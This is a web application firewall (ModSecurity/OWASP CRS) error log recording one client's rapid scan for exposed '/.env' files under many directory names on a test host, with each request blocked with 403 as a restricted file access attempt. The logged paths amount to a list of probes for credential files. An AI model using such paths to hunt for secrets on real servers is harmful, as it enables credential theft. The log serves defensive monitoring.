[Wed Feb 25 06:05:23.336406 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW8QAAAAI&quot;]
[Wed Feb 25 06:05:23.336648 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW8QAAAAI&quot;]
[Wed Feb 25 06:05:23.360861 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mongodb/config/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW8gAAAAI&quot;]
[Wed Feb 25 06:05:23.361195 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW8gAAAAI&quot;]
[Wed Feb 25 06:05:23.361400 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW8gAAAAI&quot;]
[Wed Feb 25 06:05:23.409652 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /monitoring/compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW8wAAAAI&quot;]
[Wed Feb 25 06:05:23.410008 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW8wAAAAI&quot;]
[Wed Feb 25 06:05:23.410219 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW8wAAAAI&quot;]
[Wed Feb 25 06:05:23.435075 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /moodledata/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW9AAAAAI&quot;]
[Wed Feb 25 06:05:23.435449 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW9AAAAAI&quot;]
[Wed Feb 25 06:05:23.435681 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW9AAAAAI&quot;]
[Wed Feb 25 06:05:23.496361 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /msks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW9QAAAAI&quot;]
[Wed Feb 25 06:05:23.496658 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW9QAAAAI&quot;]
[Wed Feb 25 06:05:23.496832 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW9QAAAAI&quot;]
[Wed Feb 25 06:05:23.521469 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /munki_repo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW9gAAAAI&quot;]
[Wed Feb 25 06:05:23.521743 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW9gAAAAI&quot;]
[Wed Feb 25 06:05:23.521909 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW9gAAAAI&quot;]
[Wed Feb 25 06:05:23.583242 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /music/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW9wAAAAI&quot;]
[Wed Feb 25 06:05:23.583579 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW9wAAAAI&quot;]
[Wed Feb 25 06:05:23.583779 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW9wAAAAI&quot;]
[Wed Feb 25 06:05:23.624277 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /myrentals.web/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW-AAAAAI&quot;]
[Wed Feb 25 06:05:23.624550 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW-AAAAAI&quot;]
[Wed Feb 25 06:05:23.624724 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW-AAAAAI&quot;]
[Wed Feb 25 06:05:23.762692 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /name/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW-gAAAAI&quot;]
[Wed Feb 25 06:05:23.762982 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW-gAAAAI&quot;]
[Wed Feb 25 06:05:23.763149 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW-gAAAAI&quot;]
[Wed Feb 25 06:05:23.906416 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW-wAAAAI&quot;]
[Wed Feb 25 06:05:23.906700 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW-wAAAAI&quot;]
[Wed Feb 25 06:05:23.906875 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW-wAAAAI&quot;]
[Wed Feb 25 06:05:23.960750 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new-js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW_QAAAAI&quot;]
[Wed Feb 25 06:05:23.961002 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW_QAAAAI&quot;]
[Wed Feb 25 06:05:23.961172 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW_QAAAAI&quot;]
[Wed Feb 25 06:05:24.126739 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /news-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKW_wAAAAI&quot;]
